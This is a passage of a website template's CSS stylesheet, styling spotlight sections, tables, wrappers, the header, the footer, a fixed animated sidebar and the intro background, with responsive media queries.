:nth-child(2n - 1) {\n\t\t\t\t\tborder-right: 0;\n\t\t\t\t\tpadding-right: 0;\n\t\t\t\t}\n\n\t\t\t\t.split > :nth-child(2n) {\n\t\t\t\t\tpadding-left: 0;\n\t\t\t\t}\n\n\t\t\t\t.split > :first-child {\n\t\t\t\t\tborder-top: 0;\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.split > * {\n\t\t\t\tmargin: 3em 0 0 0;\n\t\t\t\tpadding: 3em 0 0 0;\n\t\t\t}\n\n\t\t}\n\n/* Spotlights */\n\n\t.spotlights > section {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\t-moz-flex-direction: row;\n\t\t-webkit-flex-direction: row;\n\t\t-ms-flex-direction: row;\n\t\tflex-direction: row;\n\t\tmin-height: 22.5em;\n\t}\n\n\t\tbody.is-ie .spotlights > section {\n\t\t\tmin-height: 0;\n\t\t}\n\n\t\t.spotlights > section > .image {\n\t\t\tbackground-position: center center;\n\t\t\tbackground-size: cover;\n\t\t\tborder-radius: 0;\n\t\t\tdisplay: block;\n\t\t\tposition: relative;\n\t\t\twidth: 25em;\n\t\t}\n\n\t\t\t.spotlights > section > .image img {\n\t\t\t\tborder-radius: 0;\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t.spotlights > section > .image:before {\n\t\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t\t-ms-transition: opacity 1s ease;\n\t\t\t\ttransition: opacity 1s ease;\n\t\t\t\tbackground: #FFBE98;\n\t\t\t\tcontent: '';\n\t\t\t\tdisplay: block;\n\t\t\t\theight: 100%;\n\t\t\t\tleft: 0;\n\t\t\t\topacity: 0;\n\t\t\t\tposition: absolute;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.spotlights > section > .content {\n\t\t\tpadding: 4em 5em 2em 5em ;\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\twidth: 50em;\n\t\t\t-ms-flex: 1;\n\t\t}\n\n\t\t\t.spotlights > section > .content > .inner {\n\t\t\t\t-moz-transform: translateX(0) translateY(0);\n\t\t\t\t-webkit-transform: translateX(0) translateY(0);\n\t\t\t\t-ms-transform: translateX(0) translateY(0);\n\t\t\t\ttransform: translateX(0) translateY(0);\n\t\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\t\topacity: 1;\n\t\t\t}\n\n\t\t.spotlights > section:nth-child(2) {\n\t\t\tbackground-color: rgba(0, 0, 0, 0.05);\n\t\t}\n\n\t\t.spotlights > section:nth-child(3) {\n\t\t\tbackground-color: rgba(0, 0, 0, 0.1);\n\t\t}\n\n\t\t.spotlights > section.inactive > .image:before,\n\t\tbody.is-preload .spotlights > section > .image:before {\n\t\t\topacity: 1;\n\t\t}\n\n\t\t.spotlights > section.inactive > .content > .inner,\n\t\tbody.is-preload .spotlights > section > .content > .inner {\n\t\t\t-moz-transform: translateX(-1em);\n\t\t\t-webkit-transform: translateX(-1em);\n\t\t\t-ms-transform: translateX(-1em);\n\t\t\ttransform: translateX(-1em);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.spotlights > section > .content {\n\t\t\t\tpadding: 4em 4em 2em 4em ;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.spotlights > section {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.spotlights > section > .image {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t\theight: 50vh;\n\t\t\t\t}\n\n\t\t\t\t.spotlights > section > .content {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.spotlights > section.inactive > .content > .inner,\n\t\t\t\tbody.is-preload .spotlights > section > .content > .inner {\n\t\t\t\t\t-moz-transform: translateY(1em);\n\t\t\t\t\t-webkit-transform: translateY(1em);\n\t\t\t\t\t-ms-transform: translateY(1em);\n\t\t\t\t\ttransform: translateY(1em);\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.spotlights > section > .image {\n\t\t\t\theight: 50vh;\n\t\t\t\tmin-height: 15em;\n\t\t\t}\n\n\t\t\t.spotlights > section > .content {\n\t\t\t\tpadding: 3em 2em 1em 2em ;\n\t\t\t}\n\n\t\t}\n\n/* Table */\n\n\t.table-wrapper {\n\t\t-webkit-overflow-scrolling: touch;\n\t\toverflow-x: auto;\n\t}\n\n\ttable {\n\t\tmargin: 0 0 2em 0;\n\t\twidth: 100%;\n\t}\n\n\t\ttable tbody tr {\n\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tborder-left: 0;\n\t\t\tborder-right: 0;\n\t\t}\n\n\t\t\ttable tbody tr:nth-child(2n + 1) {\n\t\t\t\tbackground-color: rgba(255, 255, 255, 0.05);\n\t\t\t}\n\n\t\ttable td {\n\t\t\tpadding: 0.75em 0.75em;\n\t\t}\n\n\t\ttable th {\n\t\t\tcolor: #ffffff;\n\t\t\tfont-size: 1em;\n\t\t\tfont-weight: bold;\n\t\t\tpadding: 0 0.75em 0.75em 0.75em;\n\t\t\ttext-align: left;\n\t\t}\n\n\t\ttable thead {\n\t\t\tborder-bottom: solid 2px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\ttable tfoot {\n\t\t\tborder-top: solid 2px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\ttable.alt {\n\t\t\tborder-collapse: separate;\n\t\t}\n\n\t\t\ttable.alt tbody tr td {\n\t\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tborder-left-width: 0;\n\t\t\t\tborder-top-width: 0;\n\t\t\t}\n\n\t\t\t\ttable.alt tbody tr td:first-child {\n\t\t\t\t\tborder-left-width: 1px;\n\t\t\t\t}\n\n\t\t\ttable.alt tbody tr:first-child td {\n\t\t\t\tborder-top-width: 1px;\n\t\t\t}\n\n\t\t\ttable.alt thead {\n\t\t\t\tborder-bottom: 0;\n\t\t\t}\n\n\t\t\ttable.alt tfoot {\n\t\t\t\tborder-top: 0;\n\t\t\t}\n\n/* Wrapper */\n\n\t.wrapper {\n\t\tposition: relative;\n\t}\n\n\t\t.wrapper > .inner {\n\t\t\tpadding: 5em 5em 3em 5em ;\n\t\t\tmax-width: 100%;\n\t\t\twidth: 75em;\n\t\t}\n\n\t\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\tpadding: 4em 4em 2em 4em ;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\tpadding: 3em 2em 1em 2em ;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t.wrapper.alt {\n\t\t\tbackground-color: #261c3e;\n\t\t}\n\n\t\t.wrapper.style1 {\n\t\t\tbackground-color: #111111;\n\t\t}\n\n\t\t.wrapper.style1-alt {\n\t\t\tbackground-color: #111111;\n\t\t}\n\n\t\t.wrapper.style2 {\n\t\t\tbackground-color: #A3A3A3;\n\t\t}\n\n\t\t.wrapper.style2-alt {\n\t\t\tbackground-color: #FFBE98;\n\t\t}\n\n\t\t.wrapper.style3 {\n\t\t\tbackground-color: #9d9d9d;\n\t\t}\n\n\t\t.wrapper.style3-alt {\n\t\t\tbackground-color: #9d9d9d;\n\t\t}\n\n\t\t.wrapper.fullscreen {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\tmin-height: 100vh;\n\t\t}\n\n\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\theight: 100vh;\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t\t.wrapper.fullscreen {\n\t\t\t\t\tmin-height: calc(100vh - 2.5em);\n\t\t\t\t}\n\n\t\t\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\t\t\theight: calc(100vh - 2.5em);\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t.wrapper.fullscreen {\n\t\t\t\t\tpadding: 2em 0;\n\t\t\t\t\tmin-height: 0;\n\t\t\t\t}\n\n\t\t\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\t\t\theight: auto;\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t.wrapper.fade-up > .inner {\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade-up.inactive > .inner,\n\t\tbody.is-preload .wrapper.fade-up > .inner {\n\t\t\topacity: 0;\n\t\t\t-moz-transform: translateY(1em);\n\t\t\t-webkit-transform: translateY(1em);\n\t\t\t-ms-transform: translateY(1em);\n\t\t\ttransform: translateY(1em);\n\t\t}\n\n\t\t.wrapper.fade-down > .inner {\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade-down.inactive > .inner,\n\t\tbody.is-preload .wrapper.fade-down > .inner {\n\t\t\topacity: 0;\n\t\t\t-moz-transform: translateY(-1em);\n\t\t\t-webkit-transform: translateY(-1em);\n\t\t\t-ms-transform: translateY(-1em);\n\t\t\ttransform: translateY(-1em);\n\t\t}\n\n\t\t.wrapper.fade > .inner {\n\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t-ms-transition: opacity 1s ease;\n\t\t\ttransition: opacity 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade.inactive > .inner,\n\t\tbody.is-preload .wrapper.fade > .inner {\n\t\t\topacity: 0;\n\t\t}\n\n/* Header */\n\n\t#header {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\tbackground-color: #111111;\n\t\tcursor: default;\n\t\tpadding: 1.75em 2em;\n\t}\n\n\t\t#header > .title {\n\t\t\tborder: 0;\n\t\t\tcolor: #ffffff;\n\t\t\tdisplay: block;\n\t\t\tfont-size: 1.25em;\n\t\t\tfont-weight: bold;\n\t\t}\n\n\t\t#header > nav {\n\t\t\t-moz-flex: 1;\n\t\t\t-webkit-flex: 1;\n\t\t\t-ms-flex: 1;\n\t\t\tflex: 1;\n\t\t\ttext-align: right;\n\t\t}\n\n\t\t\t#header > nav > ul {\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding: 0;\n\t\t\t}\n\n\t\t\t\t#header > nav > ul > li {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin-left: 1.75em;\n\t\t\t\t\tpadding: 0;\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li:first-child {\n\t\t\t\t\t\tmargin-left: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li a {\n\t\t\t\t\t\tborder: 0;\n\t\t\t\t\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\t\tfont-size: 0.6em;\n\t\t\t\t\t\tfont-weight: bold;\n\t\t\t\t\t\tletter-spacing: 0.25em;\n\t\t\t\t\t\ttext-transform: uppercase;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a:hover {\n\t\t\t\t\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a.active {\n\t\t\t\t\t\t\tcolor: #ffffff;\n\t\t\t\t\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#header {\n\t\t\t\tpadding: 1em 2em;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t#header {\n\t\t\t\tdisplay: block;\n\t\t\t\tpadding: 0 2em;\n\t\t\t\ttext-align: left;\n\t\t\t}\n\n\t\t\t\t#header .title {\n\t\t\t\t\tfont-size: 1.25em;\n\t\t\t\t\tpadding: 1em 0;\n\t\t\t\t}\n\n\t\t\t\t#header > nav {\n\t\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\t\ttext-align: inherit;\n\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li {\n\t\t\t\t\t\tmargin-left: 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a {\n\t\t\t\t\t\t\theight: 6em;\n\t\t\t\t\t\t\tline-height: 6em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Wrapper (main) */\n\n\t#sidebar + #wrapper {\n\t\tmargin-left: 18em;\n\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar + #wrapper {\n\t\t\t\tmargin-left: 0;\n\t\t\t\tpadding-top: 3.5em;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#sidebar + #wrapper {\n\t\t\t\tpadding-top: 0;\n\t\t\t}\n\n\t\t}\n\n\t#header + #wrapper > .wrapper > .inner {\n\t\tmargin: 0 auto;\n\t}\n\n/* Footer */\n\n\t#sidebar + #wrapper + #footer {\n\t\tmargin-left: 18em;\n\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar + #wrapper + #footer {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\n\t\t}\n\n\t#footer > .inner a {\n\t\tborder-bottom-color: rgba(255, 255, 255, 0.15);\n\t}\n\n\t\t#footer > .inner a:hover {\n\t\t\tborder-bottom-color: transparent;\n\t\t}\n\n\t#footer > .inner .menu {\n\t\tfont-size: 0.8em;\n\t\tcolor: rgba(255, 255, 255, 0.15);\n\t}\n\n\t#header + #wrapper + #footer > .inner {\n\t\tmargin: 0 auto;\n\t}\n\n/* Sidebar */\n\n\t#sidebar {\n\t\tpadding: 2.5em 2.5em 0.5em 2.5em ;\n\t\tbackground: #111111;\n\t\tcursor: default;\n\t\theight: 100vh;\n\t\tleft: 0;\n\t\toverflow-x: hidden;\n\t\toverflow-y: auto;\n\t\tposition: fixed;\n\t\ttext-align: right;\n\t\ttop: 0;\n\t\twidth: 18em;\n\t\tz-index: 10000;\n\t}\n\n\t\t#sidebar > .inner {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t-ms-transition: opacity 1s ease;\n\t\t\ttransition: opacity 1s ease;\n\t\t\tmin-height: 100%;\n\t\t\topacity: 1;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\tbody.is-ie #sidebar > .inner {\n\t\t\t\theight: 100%;\n\t\t\t}\n\n\t\t#sidebar nav > ul {\n\t\t\tlist-style: none;\n\t\t\tpadding: 0;\n\t\t}\n\n\t\t\t#sidebar nav > ul > li {\n\t\t\t\t-moz-transform: translateY(0);\n\t\t\t\t-webkit-transform: translateY(0);\n\t\t\t\t-ms-transform: translateY(0);\n\t\t\t\ttransform: translateY(0);\n\t\t\t\t-moz-transition: opacity 0.15s ease, -moz-transform 0.75s ease;\n\t\t\t\t-webkit-transition: opacity 0.15s ease, -webkit-transform 0.75s ease;\n\t\t\t\t-ms-transition: opacity 0.15s ease, -ms-transform 0.75s ease;\n\t\t\t\ttransition: opacity 0.15s ease, transform 0.75s ease;\n\t\t\t\tmargin: 1.5em 0 0 0;\n\t\t\t\topacity: 1;\n\t\t\t\tpadding: 0;\n\t\t\t\tposition: relative;\n\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:first-child {\n\t\t\t\t\tmargin: 0;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(1) {\n\t\t\t\t\t-moz-transition-delay: 0.45s;\n\t\t\t\t\t-webkit-transition-delay: 0.45s;\n\t\t\t\t\t-ms-transition-delay: 0.45s;\n\t\t\t\t\ttransition-delay: 0.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(2) {\n\t\t\t\t\t-moz-transition-delay: 0.65s;\n\t\t\t\t\t-webkit-transition-delay: 0.65s;\n\t\t\t\t\t-ms-transition-delay: 0.65s;\n\t\t\t\t\ttransition-delay: 0.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(3) {\n\t\t\t\t\t-moz-transition-delay: 0.85s;\n\t\t\t\t\t-webkit-transition-delay: 0.85s;\n\t\t\t\t\t-ms-transition-delay: 0.85s;\n\t\t\t\t\ttransition-delay: 0.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(4) {\n\t\t\t\t\t-moz-transition-delay: 1.05s;\n\t\t\t\t\t-webkit-transition-delay: 1.05s;\n\t\t\t\t\t-ms-transition-delay: 1.05s;\n\t\t\t\t\ttransition-delay: 1.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(5) {\n\t\t\t\t\t-moz-transition-delay: 1.25s;\n\t\t\t\t\t-webkit-transition-delay: 1.25s;\n\t\t\t\t\t-ms-transition-delay: 1.25s;\n\t\t\t\t\ttransition-delay: 1.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(6) {\n\t\t\t\t\t-moz-transition-delay: 1.45s;\n\t\t\t\t\t-webkit-transition-delay: 1.45s;\n\t\t\t\t\t-ms-transition-delay: 1.45s;\n\t\t\t\t\ttransition-delay: 1.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(7) {\n\t\t\t\t\t-moz-transition-delay: 1.65s;\n\t\t\t\t\t-webkit-transition-delay: 1.65s;\n\t\t\t\t\t-ms-transition-delay: 1.65s;\n\t\t\t\t\ttransition-delay: 1.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(8) {\n\t\t\t\t\t-moz-transition-delay: 1.85s;\n\t\t\t\t\t-webkit-transition-delay: 1.85s;\n\t\t\t\t\t-ms-transition-delay: 1.85s;\n\t\t\t\t\ttransition-delay: 1.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(9) {\n\t\t\t\t\t-moz-transition-delay: 2.05s;\n\t\t\t\t\t-webkit-transition-delay: 2.05s;\n\t\t\t\t\t-ms-transition-delay: 2.05s;\n\t\t\t\t\ttransition-delay: 2.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(10) {\n\t\t\t\t\t-moz-transition-delay: 2.25s;\n\t\t\t\t\t-webkit-transition-delay: 2.25s;\n\t\t\t\t\t-ms-transition-delay: 2.25s;\n\t\t\t\t\ttransition-delay: 2.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(11) {\n\t\t\t\t\t-moz-transition-delay: 2.45s;\n\t\t\t\t\t-webkit-transition-delay: 2.45s;\n\t\t\t\t\t-ms-transition-delay: 2.45s;\n\t\t\t\t\ttransition-delay: 2.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(12) {\n\t\t\t\t\t-moz-transition-delay: 2.65s;\n\t\t\t\t\t-webkit-transition-delay: 2.65s;\n\t\t\t\t\t-ms-transition-delay: 2.65s;\n\t\t\t\t\ttransition-delay: 2.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(13) {\n\t\t\t\t\t-moz-transition-delay: 2.85s;\n\t\t\t\t\t-webkit-transition-delay: 2.85s;\n\t\t\t\t\t-ms-transition-delay: 2.85s;\n\t\t\t\t\ttransition-delay: 2.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(14) {\n\t\t\t\t\t-moz-transition-delay: 3.05s;\n\t\t\t\t\t-webkit-transition-delay: 3.05s;\n\t\t\t\t\t-ms-transition-delay: 3.05s;\n\t\t\t\t\ttransition-delay: 3.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(15) {\n\t\t\t\t\t-moz-transition-delay: 3.25s;\n\t\t\t\t\t-webkit-transition-delay: 3.25s;\n\t\t\t\t\t-ms-transition-delay: 3.25s;\n\t\t\t\t\ttransition-delay: 3.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(16) {\n\t\t\t\t\t-moz-transition-delay: 3.45s;\n\t\t\t\t\t-webkit-transition-delay: 3.45s;\n\t\t\t\t\t-ms-transition-delay: 3.45s;\n\t\t\t\t\ttransition-delay: 3.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(17) {\n\t\t\t\t\t-moz-transition-delay: 3.65s;\n\t\t\t\t\t-webkit-transition-delay: 3.65s;\n\t\t\t\t\t-ms-transition-delay: 3.65s;\n\t\t\t\t\ttransition-delay: 3.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(18) {\n\t\t\t\t\t-moz-transition-delay: 3.85s;\n\t\t\t\t\t-webkit-transition-delay: 3.85s;\n\t\t\t\t\t-ms-transition-delay: 3.85s;\n\t\t\t\t\ttransition-delay: 3.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(19) {\n\t\t\t\t\t-moz-transition-delay: 4.05s;\n\t\t\t\t\t-webkit-transition-delay: 4.05s;\n\t\t\t\t\t-ms-transition-delay: 4.05s;\n\t\t\t\t\ttransition-delay: 4.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(20) {\n\t\t\t\t\t-moz-transition-delay: 4.25s;\n\t\t\t\t\t-webkit-transition-delay: 4.25s;\n\t\t\t\t\t-ms-transition-delay: 4.25s;\n\t\t\t\t\ttransition-delay: 4.25s;\n\t\t\t\t}\n\n\t\t#sidebar nav a {\n\t\t\t-moz-transition: color 0.2s ease;\n\t\t\t-webkit-transition: color 0.2s ease;\n\t\t\t-ms-transition: color 0.2s ease;\n\t\t\ttransition: color 0.2s ease;\n\t\t\tborder: 0;\n\t\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\t\tdisplay: block;\n\t\t\tfont-size: 0.6em;\n\t\t\tfont-weight: bold;\n\t\t\tletter-spacing: 0.25em;\n\t\t\tline-height: 1.75;\n\t\t\toutline: 0;\n\t\t\tpadding: 1.35em 0;\n\t\t\tposition: relative;\n\t\t\ttext-decoration: none;\n\t\t\ttext-transform: uppercase;\n\t\t}\n\n\t\t\t#sidebar nav a:before, #sidebar nav a:after {\n\t\t\t\tborder-radius: 0.2em;\n\t\t\t\tbottom: 0;\n\t\t\t\tcontent: '';\n\t\t\t\theight: 0.2em;\n\t\t\t\tposition: absolute;\n\t\t\t\tright: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t#sidebar nav a:before {\n\t\t\t\tbackground: #9d9d9d;\n\t\t\t}\n\n\t\t\t#sidebar nav a:after {\n\t\t\t\tbackground-image: -moz-linear-gradient(to right, #9d9d9d, #FFBE98);\n\t\t\t\tbackground-image: -webkit-linear-gradient(to right, #9d9d9d, #FFBE98);\n\t\t\t\tbackground-image: -ms-linear-gradient(to right, #9d9d9d, #FFBE98);\n\t\t\t\tbackground-image: linear-gradient(to right, #9d9d9d, #FFBE98);\n\t\t\t\t-moz-transition: max-width 0.2s ease;\n\t\t\t\t-webkit-transition: max-width 0.2s ease;\n\t\t\t\t-ms-transition: max-width 0.2s ease;\n\t\t\t\ttransition: max-width 0.2s ease;\n\t\t\t\tmax-width: 0;\n\t\t\t}\n\n\t\t\t#sidebar nav a:hover {\n\t\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\t}\n\n\t\t\t#sidebar nav a.active {\n\t\t\t\tcolor: #FFBE98;\n\t\t\t}\n\n\t\t\t\t#sidebar nav a.active:after {\n\t\t\t\t\tmax-width: 100%;\n\t\t\t\t}\n\n\t\tbody.is-preload #sidebar > .inner {\n\t\t\topacity: 0;\n\t\t}\n\n\t\tbody.is-preload #sidebar nav ul li {\n\t\t\t-moz-transform: translateY(2em);\n\t\t\t-webkit-transform: translateY(2em);\n\t\t\t-ms-transform: translateY(2em);\n\t\t\ttransform: translateY(2em);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar {\n\t\t\t\theight: 3.5em;\n\t\t\t\tleft: 0;\n\t\t\t\tline-height: 3.5em;\n\t\t\t\toverflow: hidden;\n\t\t\t\tpadding: 0;\n\t\t\t\ttext-align: center;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t\t#sidebar > .inner {\n\t\t\t\t\t-moz-flex-direction: row;\n\t\t\t\t\t-webkit-flex-direction: row;\n\t\t\t\t\t-ms-flex-direction: row;\n\t\t\t\t\tflex-direction: row;\n\t\t\t\t\t-moz-align-items: -moz-stretch;\n\t\t\t\t\t-webkit-align-items: -webkit-stretch;\n\t\t\t\t\t-ms-align-items: -ms-stretch;\n\t\t\t\t\talign-items: stretch;\n\t\t\t\t\theight: inherit;\n\t\t\t\t\tline-height: inherit;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav {\n\t\t\t\t\theight: inherit;\n\t\t\t\t\tline-height: inherit;\n\t\t\t\t}\n\n\t\t\t\t\t#sidebar nav ul {\n\t\t\t\t\t\tdisplay: -moz-flex;\n\t\t\t\t\t\tdisplay: -webkit-flex;\n\t\t\t\t\t\tdisplay: -ms-flex;\n\t\t\t\t\t\tdisplay: flex;\n\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\tmargin: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#sidebar nav ul li {\n\t\t\t\t\t\t\tdisplay: block;\n\t\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\t\tmargin: 0 0 0 2em;\n\t\t\t\t\t\t\tpadding: 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t#sidebar nav a {\n\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\tpadding: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#sidebar nav a:after {\n\t\t\t\t\t\t\tbackground-image: none;\n\t\t\t\t\t\t\tbackground-color: #FFBE98;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#sidebar {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\n\t\t}\n\n/* Intro */\n\n\t#intro {\n\t\tbackground-attachment: fixed;\n\t\tbackground-image: url(\"images/background.svg\");\n\t\tbackground-position: top right;\n\t\tbackground-repeat: no-repeat;\n\t\tbackground-size: 100% 100%;\n\t}\n\n\t\t#intro p {\n\t\t\tfont-size: 